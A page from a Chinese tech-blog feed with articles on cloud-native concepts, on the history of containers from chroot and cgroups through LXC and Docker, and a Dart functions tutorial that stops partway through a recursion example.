  1. 冷启动延迟:由于函数采用自动扩缩容机制,冷启动可能需要一定时间,突发流量会对服务性能造成影响。
  2. 无状态限制:函数本身无状态,需借助数据库或缓存系统管理状态,增加开发复杂度。
  3. 厂商绑定:FaaS 强依赖云服务商提供的接口能力,不同厂商实现存在差异,迁移成本较高。

需要注意的是,Serverless 是一种更广义的架构理念,旨在让用户无需管理底层服务器资源,只需专注于业务逻辑开发。FaaS 则是 Serverless 的一种具体实现形式——Serverless 是范畴,而 FaaS 是其实现之一。

云原生

本文围绕容器编排技术展开讨论,同时延伸介绍了服务网格和 Serverless,旨在更全面地阐释云原生的核心理念。

根据 CNCF(云原生计算基金会)的定义,云原生是一种构建和运行应用程序的方法,它充分利用云计算的弹性、分布式特性与自动化能力,从而实现更快的开发速度、更高的可扩展性和可靠性。云原生代表着一系列技术,包括不可变基础设施、容器、服务网格、微服务以及声明式 API。

从容器编排到服务网格,再到 Serverless,云原生为开发者提供了更加高效、灵活的开发与运维模式。然而,这些技术的本质依然是为了解决软件开发与部署中的复杂问题,让开发者能够更加专注于业务逻辑,实现更高的生产力。

image.png

图片来源:1.3 云原生的定义 | 深入高可用系统原理与设计

不过云原生是什么并不重要,关键还是理解实施云原生有什么好处,各个技术解决了什么问题,有产生了什么新的问题。而科技的进步不断解决问题,发现问题的循环中,逐步推进向前。

未来,云原生技术将继续演进,引领我们迈向更加智能、自动化的分布式系统时代。希望本文的分享,能为你打开云原生世界的大门,助力在这片技术蓝海中探索与实践。

by simplejian at January 20, 2025 03:00 AM

云原生的演进系列上:容器化技术的诞生

所有新技术的诞生,都是为了解决某个具体问题,而非凭空而来。在发展的过程中,它们常常会经历一段探索和试错的弯路,最终沉淀出优秀的解决方案。云原生技术体系可以说是当今社会网络技术生产力的基石,同时也是每一位志存高远的软件工程师在无限技术学习旅途中必须翻越的一座大山。本系列文章预计分为两篇,以记录和整理个人的学习心得。本篇为上篇,将重点介绍容器化技术的起源与发展。

物理机

在 1960 年左右,市场是物理机的时代,如果想启动一个新的应用,那么就需要购买一个物理机,安装操作系统,配置软件运行环境,最后托管到机房。这个时代,我们的工作负载就是物理机,没有资源的隔离。部署服务需要登录机器,手动更新配置。

一开始,由于技术条件落后,网络应用能够提供的服务比较单一,网络服务的规模不大。这种通过人工维护物理机上的软件版还能够被接受,不是当时技术条件下的生产力的主要矛盾。

摩尔定律简而言之"18 个月机器性能就会提高一倍"。计算性能的提高也就会带来需求的提高,软件架构复杂性的提高。很快,物理机部署的低效就暴露出来。通过物理机直接部署有以下几个缺点。

  1. 资源浪费:机器资源无法按需分配,即使是应用利用率很低,也会占用一台物理机。
  2. 部署复杂:软件强依赖硬件和操作系统。更新软件需要人工介入。在大规模部署时,这是无法接受的。而且系统出现故障时,恢复成本高。

虚拟化

1998 年前后虚拟化逐渐成熟。其中最具有代表性的技术是 2001 年 VMware 发布了第一个针对 x 86 服务器的虚拟化产品 —— VMware ESX。使用 VMware ESX 之后,可以在一台物理机器上运行多个虚拟机,如果业务需要扩容,那就再开通一个虚拟机,整个过程只要几分钟。 自此,资源有了初级的隔离,并具有基本的分配/利用的能力。这种隔离硬件级别的隔离,每个虚拟机运行在独立的虚拟硬件环境上,并运行各自的操作系统。

虚拟化的成熟,催生的云计算的市场。基于虚拟化技术的云计算产品在 2006 年开始,陆续的出现了。比如 lass,pass,faas, 公有云,私有云,等多种服务模型。

  • lass: 基础设施即服务。通过按时计费的方式租借服务器(卖资源)。用户可以自己选择虚拟机实例和相关的资源。
  • Paas:平台即服务。使开发者不必费心考虑操作系统和开发工具更新或者硬件维护,这些有云服务提供商来进行维护,并提供扩展和可用性。
  • Faas: 功能即服务,物理硬件,虚拟机,web 服务器等都有云服务商提供,用户只需要关注逻辑实现,不需要关注任何的基础设施。是 severless 的概念。

但虚拟化虽然提高了资源的利用率,并具备一定的隔离能力。但每一个虚拟化实例都是一个完整的操作系统,操作系统本身需要占用一定的物理资源,这导致资源的有效利用率不足。 同时当物理机本身发生错误时,那么这个错误讲影响上层的所有实例。

容器化

容器能力是当前云计算,微服务等核心技术的基石,是本文详细介绍的内容。在了解容器化之前,这里先介绍软件的各级别的兼容能力。

隔离级别

"一次编译,到处运行"是 Java 早年的宣传口号,而一个计算机软件要能够正确的运行,就必须有以下三个方面的兼容性来共同保障。

  • ISA 兼容:目标机器的指令集兼容。例如 ARM 架构的计算机软件无法运行在 x 86 架构的计算机上。
  • ABI 兼容:依赖环境和目标系统兼容。比如 window 上的程序不能直接在 linux 中运行。Android 上的程序不能在 IOS 上运行。
  • 环境兼容:配置文件,数据库地址,文件权限等。任何一个环境环节出错,程序都无法正常运行。

根据抽象目标和兼容性的高低不同,虚拟技术又被分为 5 大类。

  • 指令集虚拟化:通过软件来模拟不同的 isa 架构处理器的工作过程。通过增加转换层的方式,将程序的 isa 指令翻译成本机的 isa 指令。通过这种方式我们甚至可以直接在 web 游览器上运行一个完整的 linux 系统。但由于每条指令都需要进行转换或模拟,因此这种格式方式是性能损失是最大的。
  • 硬件层模拟化:通过软件来模拟硬件(芯片,内存,显卡,硬盘)的工作过程。可以通过软件直接模拟硬件,也可以将真实的硬件直通过到虚拟机中使用。市场上的代表产品为上面提到的 VMware ESX。但这种虚拟方式的每一个实例都需要运行一个操作系统,因此性能也会有一定的损失。
  • 操作系统层虚拟化:操作系统层虚拟化则不会提供真实的操作系统,而是采用隔离手段,使得不同进程拥有独立的系统资源和资源配额,在进程看起来看起来仿佛是独享了整个操作系统一般,其实系统的内核仍然是被不同进程所共享的。操作系统级的虚拟具有更轻量化,资源利用充分的特点。但这种虚拟化是依赖操作系统的,而且容器之间的管理方复杂,需要额外的工具(比如 k 8 s )来协调。操作系统虚拟化的代表就是今天的主角 docker。
  • 运行库虚拟化:通过软件翻译 api 接口的方式,在 ABI 层进行兼容,从而使得 linux 下的程序可以在 window 上运行。最常见的代表作是 wine,和 win 10 以后的 wsl(window subsystem for liunx)。但由于不同操作系统或运行库版本差异,运行库虚拟化可能导致某些应用程序不兼容或运行失败。这种兼容性功能受限且不稳定性能较差。
  • 语言层虚拟化:由虚拟机将高级语言生成的中间代码转换为目标机器可以执行的指令。最常见的是就是大名鼎鼎的 JVM。

容器的原理与演变。

以 Docker 为代表的容器化技术,依赖操作系统提供的操作系统级虚拟化功能,而非完全独立的虚拟化技术。它并不是从零开始创造虚拟化技术,而是在现有的虚拟化技术和操作系统功能基础上进一步发展和优化。它的关键特性(如隔离、资源限制和管理)依赖于以下操作系统级支持。

  • Chroot 和文件系统隔离:使用文件系统视图隔离(如 chroot)为每个容器提供独立的文件系统环境,确保容器只能访问授权的目录。
  • Namespace(命名空间): 提供进程级别的隔离机制,将容器的进程、网络、文件系统等资源与宿主机和其他容器隔离开。
  • Cgroups(控制组):提供资源限制和分配功能,用于管理容器对 CPU、内存、磁盘 I/O 等资源的使用。确保一个容器不会因资源耗尽影响整个系统的稳定性。

Chroot

chroot 是“change root”的缩写,1979 年被引入 unix 系统。它允许管理员将进程的根目录锁定到特定的位置。从而限制进程对文件系统的访问范围。由于程序只能访问 chroot 目录下的文件,因此也被称为 chroot 监狱。世界上第一个监控黑客行动的蜜罐程序就是使用 chroot 来实现的。后来 FreeBSD 4.0 重新实现了 chroot 命令,再后来,苹果公司以 FreeBsd 为基础研发了 ios 操作系统。此后,黑客将绕过 ios 沙箱机制而安装任意安装程序的方式就被称为 越狱

在 linux 中,一切资源都可以被视为文件,一切处理都可以被视为对文件的处理。理论上,只需要隔离了文件,就可以隔离一切系统资源。但在 Linux 系统中,从低层次的资源(如网络、磁盘、内存、处理器)到操作系统控制的高层次资源(如 UNIX 分时、进程 ID、用户 ID、进程间通信),都存在大量非文件暴露的操作入口。因此单靠 chroot 无法实现对资源的完美隔离。

Namespaces

名称空间(namespace)的概念在很多现代的高级程序语言中都存在,用于避免不同开发者提供的 API 相互冲突。 而 Linux 的名称空间是一种由内核直接提供的全局资源封装。进程在一个独立的 linux 名称空间中会感觉自己在独享这个 liunx 主机上的一切资源(如进程 ID、网络接口等)。

Namespace 类型隔离内容典型场景
PID NamespacePID(进程 ID)容器进程树独立
Mount Namespace挂载点、文件系统容器文件系统独立
Network Namespace网络接口、路由表、防火墙规则独立 IP 地址和网络接口
UTS Namespacehostnamedomainname容器拥有独立主机名
IPC Namespace信号量、消息队列、共享内存容器独立使用共享内存、消息队列等
User Namespace用户 ID(UID)、组 ID(GID)容器内 root 权限不影响宿主机

Cgroups

通过 NameSpace 已经完成对进程的资源隔离。但如果不独立控制分配给各个进程的资源使用配额的话,一个进程若发生了内存溢出或占满的处理器,那么其他进程就会被莫名挂起。而 cgroups 是 Linux 内核中用于隔离、分配并限制进程组使用资源配额的机制。例如控制 cpu 的占用时间,占用内存的大小,控制磁盘 io 速度等。下面列出的是常见的配额控制类型。

类型作用典型场景
CPU控制进程的 CPU 时间分配,限制或保证特定进程的 CPU 使用比例。高优先级任务预留 CPU、限制低优先级任务 CPU 使用率。
Memory限制和隔离进程的内存使用,包括物理内存和交换分区(swap)。防止内存泄漏程序耗尽系统内存;为容器设置最大内存限制。
BlkIO控制进程对块设备的 I/O 带宽,如磁盘读写速率。限制日志服务或数据分析任务对磁盘的高强度读写,保护关键应用性能。
NetCls为进程分配网络流量的分类标识符(ClassID),便于流量控制。配合 tc(流量控制)工具限制或优先处理特定进程的网络流量。
PIDs限制进程组中可以创建的最大进程数,防止进程数爆炸导致系统瘫痪。避免错误程序(如死循环 fork)大量生成进程耗尽资源。
Devices控制进程对特定设备的访问权限(如读、写、执行)。禁止非授权容器或用户访问敏感设备,如 /dev/sda 或 GPU 设备。
HugeTLB为进程分配和限制对大页内存(HugePages)的使用。高性能应用(如数据库)优化内存分配效率和访问性能。
RDMA控制对远程直接内存访问(RDMA)设备的资源使用限制。优化高性能网络应用,如分布式计算或存储服务。

LXC

当文件系统、访问、资源都可以被隔离后,容器已经有它降生所需的全部前置支撑条件。容器并不是轻量化的虚拟机,容器只是利用命名空间、cgroups 等技术进行资源隔离和限制,并拥有独立的根目录(rootfs)的特殊进程。为了为降低普通用户综合使用 namespacescgroups 这些低级特性的门槛,2008 年 Linux Kernel 2.6.24 内核刚刚开始提供 cgroups 的同一时间,就马上发布了名为 Linux 容器 (LinuX Containers,LXC)的系统级虚拟化功能。

通过 LXC 可以在同一主机上运行多个相互隔离的 Linux 容器,每个容器都有自己的完整的文件系统、网络、进程和资源隔离环境,容器内的进程如同拥有一个完整、独享的操作系统。

由于 LXC 直接利用 Linux 内核,因此它的性能损耗极小,启动速度快。适合运行在高性能和资源利用率要求较高的场景中。

Docker

[[docker]]

2013 年宣布开源的 Docker 毫无疑问是容器发展历史上里程碑式的发明,它不仅改变了开发者、运维人员和企业如何构建、部署和管理应用的方式,还推动了整个云计算和 DevOps 生态系统的迅猛发展。Docker 是一个开源的容器化平台,使得开发者能够将应用及其所有依赖项打包到一个标准化的容器中,从而实现更轻量、更高效的应用部署。

Docker 是 Go 语言实现,在最初的版本中,底层使用了 LXC 。Docker 可以让我们方便的创建和使用容器,只要你的程序打包到了 docker 中,那么无论运行在什么环境下程序的行为都是一致的,真正实现“build once, run everywhere”。

Docker 的实现

Docker 在最初实现是基于 LXC,从 0.7 版本以后开始去除 LXC,转而使用自行开发的 libcontainer。不过与 LXC 类似的是,Docker 的底层是通过 Liunx 名称空间(namespace),cgroups,和 UnionFs(用于实现类似于 Chroot 的能力)三大基本能力来实现的。

UnionFs 联合文件系统

NameSpace,Cgroups 的作用和实现方式上面已经介绍过了,不再赘述,这里主要讲一下 UnionFS 这个新概念。

UnionFS 其实是一种为 Linux 操作系统设计的用于把多个文件系统整合到同一个挂载点的文件系统服务。

比如有下面的目录结构

.
|-- apple
|   |-- ios
|   `-- mac
`-- microsoft
    |-- win
    `-- office


通过 mount 命令将 apple 和 microsoft 整合后,会生成如下的文件结构。

|-- ios
|-- mac
|-- win
`-- office

UnionFS(联合文件系统)就是一种文件系统服务,它可以将多个目录(文件系统层)合并成一个虚拟的目录结构,并为上层提供统一的视图。这种设计使得文件系统支持 写时复制(Copy-on-Write)分层存储

主要功能包括:

  1. 分层存储:不同层之间逻辑独立,但呈现为一个整体。
  2. 写时复制:只在写操作时复制需要修改的部分,减少资源占用。
  3. 灵活组合:支持动态加载和卸载层,方便系统扩展。

Docker 的基本概念

Docker 中有以下几个基本的概念。

Docker 容器。

Docker 利用容器来运行应用,容器是从镜像创建的运行实例,它可以被启动,开始、停止、删除、每个容器都是互相隔离的。容器包含了应用及其运行所需的所有依赖,而不需要额外的操作系统层级开销,提供快速的启动速度和轻量级的资源消耗。

Docker 镜像文件

Docker 镜像是一个轻量级、独立的可执行包,其中包含运行软件所需的一切,包括代码、运行时、库、环境变量和配置文件。镜像不包含任何动态数据,其内容在构建之后也不会被改变。

当我们使用 Docker 容器时,首先需要下载对应的镜像。与虚拟机相比,镜像更加轻量化,因为它本质上主要是一个 rootfs。对于精简的操作系统,rootfs 可以非常小,仅包含基本的命令、工具和程序库即可,因为容器直接共享宿主机的内核。

Docker 镜像采用分层存储的方式,每个镜像由多个只读层叠加而成。这种特性大大提升了镜像的复用性、定制性和共享性。容器的文件系统是这些镜像层的叠加结果,每一层都可以被容器读取。在镜像构建过程中,按层逐步构建,前一层作为后一层的基础。每一层一旦构建完成就不会再改变,任何后续的更改仅影响新增的层。

  • rootfs 是 Docker 容器启动后内部进程可见的文件系统,即容器的根目录。它通常包含操作系统运行所需的基础文件系统,例如类 Unix 操作系统中的 /dev/proc/bin/etc/lib/usr/tmp 等目录,以及运行容器所需的配置文件和工具。

Docker 镜像采用分层存储的方式,每个镜像由多个只读层叠加而成,而多层的 rootfs 的叠加就是通过 UnionFs 来完成的。在合并的目录中进行操作时,各个目录之间有上下顺序,上层目录的同名文件会遮盖住下层的文件。

Docker 镜像可以通过一个 Dockerfile 定义,并使用 docker build 命令进行构建。Dockerfile 中的每一条指令都会创建镜像的一层,这些层通过 UnionFS 叠加,最终形成完整的镜像,供容器运行时使用。

以下是一个简单的 Dockerfile 示例,

# 使用官方的基础镜像 (选择 lightweight 的 Python 镜像)
# FROM命令:指定基础镜像,这一层是所有其他层的基础。
FROM python:3.9-slim 

# 设置工作目录为 /app
# WORKDIR命令:设置容器内的工作目录,简化后续路径管理。
WORKDIR /app

# 将当前目录的内容复制到容器的 /app 目录
# ADD命令:将代码和文件添加到镜像中,创建一层。
ADD . /app

# 安装依赖包
# RUN命令:执行命令(如安装依赖),生成新的镜像层。
RUN pip install --no-cache-dir -r requirements.txt

# 设置默认的环境变量
ENV PYTHONUNBUFFERED=1

# 暴露容器的端口号
# EXPOSE命令:声明容器使用的端口,方便配置网络。 
EXPOSE 8000

# 定义容器启动时执行的命令
# CMD命令:定义容器启动时运行的默认命令。
CMD ["python", "app.py"]

[!不可变基础设施] 在传统的服务器管理模式中,线上服务器需要不断更新和修改。当变更需求出现时,工程师和管理员通常通过 SSH 登录到服务器,手动升级或降级软件包版本,逐台调整配置文件,并直接在现有服务器上部署新代码。这种方式属于可变基础设施模型,因为变更是直接对运行中的服务器进行修改。

而在 Docker 的不可变基础设施模型中,若需要调整线上配置,并不会直接登录容器并手动修改配置,而是通过更新镜像文件(如 Dockerfile),构建新的镜像,并启动新的容器实例来替换旧实例。经过验证后,新服务逐步上线,旧服务则逐步下线。这种方式确保每次变更都以全新的环境部署,避免了手动修改带来的不一致问题。

Docker 仓库

Docker 仓库是集中存放镜像文件的地方。当需要在其他服务器上使用我们构建的 docker 镜像时,就需要从仓库中获取对应的镜像文件。跟 Maven 的仓库作用类似,我们可以通过<仓库名>:<标签>的格式来指定具体是这个软件哪个版本的镜像。仓库分为两种,公有仓库和私有仓库,最大的公开仓库是 docker Hub,存放了数量庞大的镜像供用户下载。

Docker 和 LXC

同为容器化技术解决方案,大多数程序员对 Docker 如雷贯耳,而听说过 LXC 的却寥寥无几。这主要是因为 LXC 的设计理念是封装机器,而 Docker 的设计理念是封装应用

封装机器意味着将容器视为虚拟化的系统环境,模拟一个完整的操作系统实例。LXC 容器内可以运行多个进程,就像一个完整的 Linux 系统。然而,Docker 的容器更轻量化,其内部的操作系统仅为运行单个应用提供必要环境,而不强调完整的操作系统功能。Docker 推崇“单容器单进程”的最佳实践,设计上通过 Dockerfile 的单一 ENTRYPOINT 来实现。这并非人为限制,而是为了通过监控容器内主进程(PID 1)的状态,判断容器运行是否正常。

LXC 更接近底层,是一种轻量级的虚拟化解决方案,性能接近裸机。由于需要大量手动配置,它更适合对性能和灵活性要求极高的场景,比如嵌入式设备或专用高性能服务。

相比之下,Docker 专注于上层应用封装,通过高封装度降低了技术门槛。它不仅支持 Linux,还兼容 Windows 和 macOS,跨平台能力使其更适合开发和生产环境。此外,Docker 提供了构建、打包和分发镜像的完整工具链,极大提升了开发效率。其丰富的镜像生态和高效的分发能力,使开发者能够轻松共享和部署应用。这些特性使 Docker 成为大多数开发者和企业的首选容器化技术。

容器间协作

假设我们有以下场景:三个 Docker 镜像,分别封装了:

  1. 一个提供 HTTP 服务的 Nginx 容器;
  2. 一个用于日志收集的 Filebeat 容器;
  3. 一个封装了 confd(用于在配置管理系统中动态生成配置文件的工具)的容器。

我们的目标是让 Filebeat 容器收集 Nginx 容器产生的日志,并通过 confd 监听配置中心的变化,自动更新 Nginx 的配置。

那么我们将如何解决容器之前的这种协同工作的需求呢?

首先,我们可以通过将 Filebeat 容器和 Nginx 容器挂载在同一个目录,来使 Filebeat 收集 Nginx 产生的日志。同时,为了使 confd 能与 Nginx 容器交互并发送 HUP 信号进行配置更新,我们需要让 Nginx 容器与 confd 容器共享 IPC 名称空间。

尽管这种通过共享磁盘位置和 IPC 名称空间的方式能解决问题,但它并不优雅,因为它打破了 Docker 中 cgroups 和 namespaces 提供的隔离性。而 Linux 的 cgroups 和 namespaces 原本都是针对进程组而不仅仅是单个进程来设计的,进程组中的多个进程天然的可以共享访问权限和资源配额。而在 Kubernetes 中,有一个类似进程组的概念,即 Pod。我们可以将 Pod 理解为容器组,Pod 内的容器可以像同一进程组中的进程一样共享资源和数据。同处于一个 Pod 内的多个容器,在 Kubernetes 中被称为超亲密的容器关系。

在 Kubernetes 中,一个物理机上可以运行多个 pod,一个 pod 内有多个容器,多个容器共享资源和数据,被称为超亲密容器。通过这种方式,我们能够确保容器间的高效协作,同时保持必要的隔离性。这也是 Kubernetes 技术的核心优势之一。Kubernetes 在云原生领域也是一个非常重要且相对复杂的技术,我将会放到下一篇文章中来进行详细探讨。

这篇文章主要介绍了容器化技术,特别是 Docker 技术。但当的容器的数量级达到成千上万时,那么又该如何管理呢?这就是容器编排的技术,而下面我将把重点放在容器编排相关的技术探讨。 敬请期待《云原生的演进系列下:容器编排技术》

参考资料

  1. icyfenix.cn/
  2. www.thebyte.com.cn/architectur…
  3. blog.csdn.net/crazymakerc…
  4. cloud.tencent.com/developer/a…

by simplejian at January 20, 2025 02:59 AM

juejin android

系统化掌握Dart编程之函数

image.png

前言

函数 —— 编程世界的多功能工具

image.png

函数就像是一个工具箱里的工具。你有一把螺丝刀(函数),它有一个特定的任务——拧螺丝(执行特定代码)。每次你需要拧螺丝时,你不需要重新发明或制造一把新的螺丝刀,而是直接使用这把现成的螺丝刀。

Dart中,函数一等公民,它们能被保存在变量中,能作为参数传递作为函数的返回值。与所有Dart运行的值一样,函数同样是对象

千曲而后晓声,观千剑而后识器。虐它千百遍方能通晓其真意

一、函数的基本概念

1.1、定义

Dart中,函数是用于执行特定任务可重复使用代码块。一个函数由函数签名函数体组成。

  • 1、函数签名
    • 返回类型:指定函数返回值的数据类型
    • 函数名:标识函数的名字
    • 参数列表:传递给函数的变量列表可以为空
  • 2、函数体
    • 包含实际执行的代码块,可以有多条语句
    • 可以使用return语句返回值

1.2、基本语法

返回类型 函数名(参数类型1 参数名1, 参数类型2 参数名2, ...) {
    // 函数体
    // 可以有多条语句
    // 可以使用 return 语句返回值
}

二、函数的参数

2.1、必须参数

必需参数是调用函数时必须提供的参数。

void greet(String name) {
  print('Hello, $name!');
}

greet('Alice'); // 输出: Hello, Alice!

2.2、命名参数

  • 1、命名参数可以是必填的可选的
  • 2、可选命名参数必须排列在一起放置在参数列表尾部并用{} 包裹,并且按名称传递,可以指定默认值但必须是编译时常量
  • 3、任意必填参数都必须出现在命名参数前面
void describePerson(String name, {int? age, String occupation = 'unknown'}) {
  print('Name: $name, Age: $age, Occupation: $occupation');
}

describePerson('Bob', occupation: 'Engineer', age: 30);
// 输出: Name: Bob, Occupation: Engineer, Age: 30

describePerson('Charlie', occupation: 'Artist');
// 输出: Name: Charlie, Occupation: Artist, Age: null

2.3、位置参数

  • 1、位置参数可以是必填的可选的
  • 2、可选位置参数必须排列在一起放置在参数列表尾部并用 [] 包裹,并且按位置传递,可以指定默认值但必须是编译时常量
  • 3、任意必填参数都必须出现在可选参数前面
void describePerson(String name, [String occupation = 'unknown', int? age]) {
  print('Name: $name, Occupation: $occupation, Age: $age');
}

describePerson('David', 'Developer', 25);
// 输出: Name: David, Occupation: Developer, Age: 25

describePerson('Eve');
// 输出: Name: Eve, Occupation: unknown, Age: null

2.4、默认参数

可为命名参数位置参数设置默认值,当未指定参数时,使用函数中指定的默认值

void describePerson(String name, {String occupation = 'unknown', int age = 0}) {
  print('Name: $name, Occupation: $occupation, Age: $age');
}

describePerson('Frank');
// 输出: Name: Frank, Occupation: unknown, Age: 0

三、函数的返回值

3.1、无返回值

无返回值时返回类型void

void greet(String name) {
  print('Hello, $name!');
}

3.2、返回单一值

函数通过 return 关键字返回一个值。如果没有显式返回值,默认返回 null

int add(int a, int b) {
  return a + b;
}

print(add(3, 4)); // 输出: 7

3.3、返回多个值

虽然 Dart 不直接支持返回多个值,但可以通过返回列表映射来实现类似的效果。

List<int> addAndMultiply(int a, int b) {
  return [a + b, a * b];
}

var result = addAndMultiply(3, 4);
print('Sum: ${result[0]}, Product: ${result[1]}'); // 输出: Sum: 7, Product: 12

四、匿名函数

4.1、定义

匿名函数没有名字的函数,通常用于作为参数传递给其他函数立即执行。它们非常适合用于一次性的任务回调函数

void executeFunction(void Function() func) {
  func();
}

executeFunction(() {
  print('This is an anonymous function.');
});

4.2、箭头语法

对于只有一行代码匿名函数Dart 提供了更简洁的箭头语法=>),它自动返回表达式的值

/// 使用箭头语法
var add = (int a, int b) => a + b;
print(add(3, 4)); // 输出: 7

4.3、参数

匿名函数可以接受参数,并且这些参数可以在函数体内使用。

// 带参数的匿名函数
void greetPeople(List<String> names, void Function(String) greet) {
  for (var name in names) {
    greet(name);
  }
}

greetPeople(['Alice', 'Bob'], (name) {
  print('Hello, $name!');
});

4.4、作为返回值

匿名函数还可以作为另一个函数的返回值,这在构建高阶函数时非常有用。

// 返回匿名函数
Function createMultiplier(int multiplier) {
  return (int number) => number * multiplier;
}

var doubleIt = createMultiplier(2);
print(doubleIt(5)); // 输出: 10

五、闭包

5.1、定义

闭包是指一个函数对象,它可以记住并访问其创建时的外部作用域中的变量,即使这个函数在其外部作用域之外被调用。换句话说,闭包“捕获”了其定义时的环境状态。

// 创建一个闭包
Function makeCounter() {
  var count = 0; // 外部作用域中的变量
  return () {
    count++; // 访问并修改外部变量
    print(count);
  };
}

var counter = makeCounter();
counter(); // 输出: 1
counter(); // 输出: 2
counter(); // 输出: 3

5.2、捕获外部变量

闭包的一个关键特性是它可以捕获并保存外部作用域中的变量。这意味着即使外部函数已经返回闭包仍然可以访问这些变量

// 捕获多个外部变量
Function createAdder(int base) {
  return (int addend) => base + addend;
}

var addTen = createAdder(10);
print(addTen(5)); // 输出: 15
print(addTen(8)); // 输出: 18

5.3、闭包与匿名函数

匿名函数可以成为闭包,当它们引用了外部作用域中的变量时。这种组合使得代码更加简洁和强大。

// 匿名函数作为闭包
void executeWithDelay(void Function() action, int delay) {
  Future.delayed(Duration(seconds: delay), action);
}

executeWithDelay(() {
  print('Executed after delay');
}, 2); // 两秒后输出: Executed after delay

5.4、应用场景

  • 1、回调函数:在异步操作事件处理等场景中,闭包常用于定义回调函数
Future<void> fetchData() async {
  print('Fetching data...');
  await Future.delayed(Duration(seconds: 2));
  print('Data fetched.');
}

void main() async {
  fetchData().then((_) {
    print('Processing data...');
  });
}

  • 2、高阶函数:闭包可以作为参数传递给高阶函数,或者作为高阶函数的返回值
void performOperation(int a, int b, Function operation) {
  print(operation(a, b));
}

performOperation(3, 4, (x, y) => x + y); // 输出: 7

  • 3、数据封装:闭包可以用来实现私有变量和方法,因为外部无法直接访问闭包内部的变量。
class Counter {
  int _count = 0;

  void Function() get increment => () {
        _count++;
        print(_count);
      };
}

void main() {
  var counter = Counter();
  var increment = counter.increment;
  increment(); // 输出: 1
  increment(); // 输出: 2
}

六、高阶函数

6.1、定义

高阶函数是指可以接受函数作为参数或返回值的函数。这种特性使得代码更加简洁抽象

void performOperation(int a, int b, Function operation) {
  print(operation(a, b));
}

performOperation(3, 4, (x, y) => x + y); // 输出: 7
performOperation(3, 4, (x, y) => x * y); // 输出: 12

6.2、内置高阶函数

Dart 提供了许多内置的高阶函数,如 mapwherereduce,用于处理集合数据。

List<int> numbers = [1, 2, 3, 4, 5];

// 使用 map 将每个元素加倍
var doubled = numbers.map((n) => n * 2).toList();
print(doubled); // 输出: [2, 4, 6, 8, 10]

// 使用 where 过滤偶数
var evenNumbers = numbers.where((n) => n % 2 == 0).toList();
print(evenNumbers); // 输出: [2, 4]

// 使用 reduce 计算总和
var sum = numbers.reduce((sum, element) => sum + element);
print(sum); // 输出: 15

七、异步函数

7.1、异步操作

异步编程中,允许编写非阻塞的代码。使用 asyncawait 关键字可以使异步代码看起来像同步代码一样简单。

Future<void> fetchData() async {
  print('Fetching data...');
  await Future.delayed(Duration(seconds: 2));
  print('Data fetched.');
}

void main() async {
  fetchData();
  print('Doing other work...');
}

7.2、异步流

Stream 类型用于处理一系列异步事件,如文件读取网络请求

import 'dart:async';

void listenToStream() {
  Stream<int> stream = Stream.periodic(Duration(seconds: 1), (count) => count)
      .take(5);

  stream.listen((value) {
    print('Received value: $value');
  }, onDone: () {
    print('Stream completed.');
  });
}

void main() {
  listenToStream();
}

八、回调函数

8.1、定义

回调函数是一个作为参数传递给另一个函数函数,并在这个函数执行过程中或之后被调用。它允许你指定一段代码,在特定条件满足时执行。回调函数通常用于异步操作事件处理数据处理中。

示例代码

// 简单的回调函数示例
void executeFunction(void Function() callback) {
  print('Executing function...');
  callback(); // 调用回调函数
}

executeFunction(() {
  print('Callback executed!');
});

实际用途

  • 1、异步操作:在操作完成后再执行某些代码。
  • 2、事件处理:响应用户交互或其他事件。
  • 3、数据处理:对数据进行后续处理或验证。

8.2、作为参数传递

可以将一个函数作为参数传递给另一个函数,这样可以在需要的时候调用这个函数。

// 定义一个接受回调函数的函数
void fetchData(String url, void Function(String) onData) {
  // 模拟网络请求
  print('Fetching data from $url...');
  String data = 'Some data';
  onData(data); // 当数据准备好时调用回调函数
}

// 使用回调函数处理数据
fetchData('https://example.com', (data) {
  print('Received data: $data');
});

8.3、异步操作中的回调

在异步操作中,回调函数通常用于处理操作完成后的工作。Dart 提供了 Futureasync/await 来简化异步编程。

import 'dart:async';

// 模拟异步操作
Future<void> fetchDataAsync(String url, void Function(String) onData) async {
  print('Fetching data from $url...');
  await Future.delayed(Duration(seconds: 2)); // 模拟网络延迟
  String data = 'Some data';
  onData(data);
}

void main() async {
  fetchDataAsync('https://example.com', (data) {
    print('Received data: $data');
  });
}

8.4、错误处理

回调函数不仅可以处理成功的情况,还可以处理错误。通过传递多个回调函数来分别处理成功失败的情况。

void fetchDataWithErrorHandling(
    String url, void Function(String) onData, void Function(String) onError) {
  print('Fetching data from $url...');
  bool success = false; // 模拟失败情况

  if (success) {
    String data = 'Some data';
    onData(data);
  } else {
    String error = 'Failed to fetch data';
    onError(error);
  }
}

void main() {
  fetchDataWithErrorHandling(
    'https://example.com',
    (data) => print('Received data: $data'),
    (error) => print('Error: $error'),
  );
}

九、递归及递归函数

动图

9.1、概述

  • 1、递归
    • 是一种解决计算问题的方法,其中解决方案取决于同一类问题的更小子集
  • 2、递归函数
    • 是指函数调用自身的函数。递归函数必须有一个明确的终止条件否则会导致无限递归
  • 3、详细说明
    • 若每个函数对应一种解决方案, 自己调用自己意味着解决方案是一致的(有规律的)。
    • 每次调用,函数处理的数据会较上次缩减(子集),而且最后会缩减至无需递归
    • 内层函数调用(子集处理)完成外层函数才能算调用完成
    • 深入最里层叫做
    • 从最里层出来叫做
    • 在递的过程中,外层函数内的局部变量(以及方法参数)并未消失,归的时候可以用到。

9.2、代码示例

int factorial(int n) {
  if (n == 0 || n == 1) {
    return 1;
  } else {
    return n * factorial(n - 1);
  }
}

void main() {
  int num = 5;
  print('Factorial of $num is ${factorial(num)}');
}

//详细执行流程说明
//1.初始执行
int factorial(int 5) {
    if (n == 0 || n == 1) {
        return 1;
    } else {
        //2.第一次递归调用
  return 5*factorial(int 4) {
            if (n == 0 || n == 1) {
                return 1;
            } else {
                //3.第二次递归调用
        return 4*factorial(int 3) {
                    if (n == 0 || n == 1) {
                        return 1;
                    } else {
                        //4.第三次递归调用
                   return 3*factorial(int 2) {
                            if (n == 0 || n == 1) {
                                return 1;
                            } else {
                                //5.第四次递归调用
                         return 2*factorial(int 1) {
                                    if (n == 0 || n == 1) {
                                        return 1;
                                    } else {
                                       return n* factorial(n-1);
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

9.3、详细执行说明

  • 1、初始调用factorial(5);

  • 2、第一次递归调用return 5 * factorial(4);

  • 3、第二次递归调用return 4 * factorial(3);

  • 4、第三次递归调用return 3 * factorial(2);

  • 5、第四次递归调用return 2 * factorial(1);

  • 6、基本终止条件return 1;

  • 7、回溯计算

    • factorial(2) 返回 2 * 1 = 2。

